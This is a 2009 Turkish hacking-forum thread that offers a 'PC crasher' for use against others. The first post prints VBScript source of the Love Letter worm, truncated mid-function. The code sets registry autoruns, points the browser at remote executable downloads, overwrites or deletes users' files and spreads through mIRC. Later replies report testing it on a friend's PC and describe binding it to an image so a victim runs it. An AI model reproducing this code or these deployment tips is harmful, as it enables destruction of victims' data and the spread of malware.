İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Pc ÇökerTme (GaranTi Denendi..) >>||<<

30-08-2009 10:11
#1
Üyelik tarihi:
08/2009
Nereden:
mersin
Mesajlar:
353
Teşekkür (Etti):
3
Teşekkür (Aldı):
144
Konular:
38
Ticaret:
(0) %
arkadaslar en bastan soyleyim kendı pcnızde denemyın
pcnız acılmaz.Açmak için format attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:

rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=”"
ctr=0
Set fso = CreateObject(”Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject(”WScript.Shell”)
rr=wscr.RegRead(”HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout”)
if (rr>=1) then
wscr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout”,0,”REG_DWORD”
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&”\MSKernel32.vbs”)
c.Copy(dirwin&”\Win32DLL.vbs”)
c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\Run\MSKernel32″,dirsystem&”\MSKernel32.vbs”
regcreate “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\RunServices\Win32DLL”,dirwin&”\Win32DLL.vbs”
downread=”"
downread=regget(”HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory”)
if (downread=”") then
downread=”c:\”
end if
if (fileexist(dirsystem&”\WinFAT32.exe”)=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”
http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe”
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”
http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe”
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”
http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe”
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”
http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe”
end if
end if
if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0) then
regcreate “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\Run\WIN-BUGSFIX”,downread&”\WIN-BUGSFIX.exe”
regcreate “HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Start Page”,”about:blank”
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&”\”)
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=”vbs”) or (ext=”vbe”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=”js”) or (ext=”jse”) or (ext=”css”) or (ext=”wsh”) or (ext=”sct”) or (ext=”hta”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&”\”&bname&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”jpg”) or (ext=”jpeg”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”mp3″) or (ext=”mp2″) then
set mp3=fso.CreateTextFile(f1.path&”.vbs”)
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s=”mirc32.exe”) or (s=”mlink32.exe”) or (s=”mirc.ini”) or (s=”script.ini”) or (s=”mirc.hlp”) then
set scriptini=fso.CreateTextFile(folderspec&”\script.i ni”)
scriptini.WriteLine “[script]“
scriptini.WriteLine “;mIRC Script”
scriptini.WriteLine “; Please dont edit this script… mIRC will corrupt, if mIRC will”
scriptini.WriteLine ” corrupt… WINDOWS will affect and will not run correctly. thanks”
scriptini.WriteLine “;”
scriptini.WriteLine “;Khaled Mardam-Bey”
scriptini.WriteLine “;
http://www.mirc.com
scriptini.WriteLine “;”
scriptini.WriteLine “n0=on 1:JOIN:#:{”
scriptini.WriteLine “n1= /if ( şnick == şme ) { halt }”
scriptini.WriteLine “n2= /.dcc send şnick “&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM”
scriptini.WriteLine “n3=}”
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject(”WScript.Shell”)
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject(”WScript.Shell”)
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0


kopyala not defterıne yapıstır sonra farklı kaydet fronten anti-virüs.bat olarak kaydedin kaydettikten sonra uzantısını (formatını) .exe olarak değiştirin

Alıntıdr..
Kullanıcı İmzası
Lp-Tıma
Rock Swiyorsan Linkin__Park


Herkes kendi Bacağından Asılır x)cc

Herkes Haddini Blicek T.H.T yi İzliceK...

30-08-2009 10:17
#2
CaLLouS - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2009
Mesajlar:
3.027
Teşekkür (Etti):
191
Teşekkür (Aldı):
1190
Konular:
1076
Ticaret:
(0) %
Kim denemiş___?
30-08-2009 10:53
#3
Üyelik tarihi:
08/2009
Mesajlar:
47
Teşekkür (Etti):
7
Teşekkür (Aldı):
7
Konular:
18
Ticaret:
(0) %
TeşekkürLer. Emeğine SağLık.
30-08-2009 11:14
#4
Üyelik tarihi:
08/2009
Nereden:
mersin
Mesajlar:
353
Teşekkür (Etti):
3
Teşekkür (Aldı):
144
Konular:
38
Ticaret:
(0) %
Ark.ın üzerinde denedim usta msne giremedi winamp felan hiç açılmadı ztn zor giriyordu en son gidip format attırdı x)
Kullanıcı İmzası
Lp-Tıma
Rock Swiyorsan Linkin__Park


Herkes kendi Bacağından Asılır x)cc

Herkes Haddini Blicek T.H.T yi İzliceK...
30-08-2009 19:30
#5
zafer5995 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2009
Mesajlar:
9
Teşekkür (Etti):
4
Teşekkür (Aldı):
1
Konular:
0
Ticaret:
(0) %
bence olmaz ama deneyeceğim
30-08-2009 20:06
#6
yyunuss - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2007
Mesajlar:
200
Teşekkür (Etti):
10
Teşekkür (Aldı):
21
Konular:
4
Ticaret:
(0) %
Uzantısını .exe olarak nasıl kaydediyoruz? Bazı arkadaşlarda görmüştüm. Masaüstünde normal yazınca oluyordu ama bende olmuyor?
30-08-2009 21:56
#7
Üyelik tarihi:
08/2009
Nereden:
mersin
Mesajlar:
353
Teşekkür (Etti):
3
Teşekkür (Aldı):
144
Konular:
38
Ticaret:
(0) %
knk bak sana çok güzel bi yöntem diyim şimdi exe olarak metn belgesine kopyaladıktan sonra farklı kaydetten exe olarak kaydet o simgesiz olcak ondan sonra birleştirme prog. warsa turkojan 4 gibi onla bi resimle birleştir kurban böyle çok büyük ihtimal yer...
Kullanıcı İmzası
Lp-Tıma
Rock Swiyorsan Linkin__Park


Herkes kendi Bacağından Asılır x)cc

Herkes Haddini Blicek T.H.T yi İzliceK...
30-08-2009 23:16
#8
evillord - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2009
Nereden:
Kod aklın di
Mesajlar:
1.576
Teşekkür (Etti):
165
Teşekkür (Aldı):
1077
Konular:
171
Ticaret:
(0) %
lnkin park beni cok güldürdün gercekten türkhackteam'den türkhackteam'E alıntı yapıon allahım ya Bu konuyu Ben actm we halen güncel Bakınız Dünyayı Sallayan Virüs Kodu Açıklamalı we halen imzamda mewcut biraz arama yap öle ac konularını acemliqne weriorum
Kullanıcı İmzası

Bizi eskiler tanır, yeniler örnek alır...
30-08-2009 23:21
#9
Crack.. - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2009
Mesajlar:
1
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
Teşekkürler ama hiç bir zaman garanti diye birşey yoktur..
31-08-2009 09:50
#10
Üyelik tarihi:
08/2009
Nereden:
mersin
Mesajlar:
353
Teşekkür (Etti):
3
Teşekkür (Aldı):
144
Konular:
38
Ticaret:
(0) %
Alıntı:
evillord lnkin park beni cok güldürdün gercekten türkhackteam'den türkhackteam'E alıntı yapıon allahım ya Bu konuyu Ben actm we halen güncel Bakınız Dünyayı Sallayan Virüs Kodu Açıklamalı we halen imzamda mewcut biraz arama yap öle ac konularını acemliqne weriorum
Görseydim açmazdım böyle bi konu knk gerçekten görmedim xS
Kullanıcı İmzası
Lp-Tıma
Rock Swiyorsan Linkin__Park


Herkes kendi Bacağından Asılır x)cc

Herkes Haddini Blicek T.H.T yi İzliceK...

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı